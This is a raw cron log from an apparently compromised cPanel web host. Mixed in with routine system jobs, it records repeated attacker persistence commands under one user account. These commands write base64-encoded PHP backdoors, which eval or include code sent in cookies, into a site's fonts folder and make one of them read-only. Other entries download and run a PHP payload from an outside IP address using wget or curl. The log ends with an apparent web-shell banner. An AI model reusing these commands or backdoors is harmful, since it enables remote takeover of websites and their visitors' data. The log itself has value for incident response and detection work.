Feb 23 02:47:01 ip-184-168-122-23 CROND[15791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:47:01 ip-184-168-122-23 CROND[15792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:48:01 ip-184-168-122-23 CROND[16131]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 02:48:01 ip-184-168-122-23 CROND[16132]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:48:01 ip-184-168-122-23 CROND[16133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:48:01 ip-184-168-122-23 CROND[16136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:48:01 ip-184-168-122-23 CROND[16138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:49:01 ip-184-168-122-23 CROND[16445]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:49:01 ip-184-168-122-23 CROND[16446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:49:01 ip-184-168-122-23 CROND[16448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:49:01 ip-184-168-122-23 CROND[16447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:50:01 ip-184-168-122-23 CROND[16793]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 02:50:01 ip-184-168-122-23 CROND[16794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:50:01 ip-184-168-122-23 CROND[16796]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 02:50:01 ip-184-168-122-23 CROND[16798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:50:01 ip-184-168-122-23 CROND[16806]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 02:50:01 ip-184-168-122-23 CROND[16802]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 23 02:50:01 ip-184-168-122-23 CROND[16805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:50:01 ip-184-168-122-23 CROND[16807]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 23 02:50:01 ip-184-168-122-23 CROND[16803]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:51:01 ip-184-168-122-23 CROND[17216]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:51:01 ip-184-168-122-23 CROND[17219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:51:01 ip-184-168-122-23 CROND[17218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:51:01 ip-184-168-122-23 CROND[17220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:52:01 ip-184-168-122-23 CROND[17570]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 02:52:01 ip-184-168-122-23 CROND[17568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:52:01 ip-184-168-122-23 CROND[17574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:52:01 ip-184-168-122-23 CROND[17575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:52:01 ip-184-168-122-23 CROND[17576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:53:01 ip-184-168-122-23 CROND[17926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:53:01 ip-184-168-122-23 CROND[17925]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:53:01 ip-184-168-122-23 CROND[17929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:53:01 ip-184-168-122-23 CROND[17931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:54:01 ip-184-168-122-23 CROND[18259]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:54:01 ip-184-168-122-23 CROND[18260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:54:01 ip-184-168-122-23 CROND[18263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:54:01 ip-184-168-122-23 CROND[18266]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 02:54:01 ip-184-168-122-23 CROND[18264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:55:01 ip-184-168-122-23 CROND[18591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:55:01 ip-184-168-122-23 CROND[18590]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:55:01 ip-184-168-122-23 CROND[18592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:55:01 ip-184-168-122-23 CROND[18596]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 02:55:01 ip-184-168-122-23 CROND[18595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:55:01 ip-184-168-122-23 CROND[18598]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Zerion Mini 1.0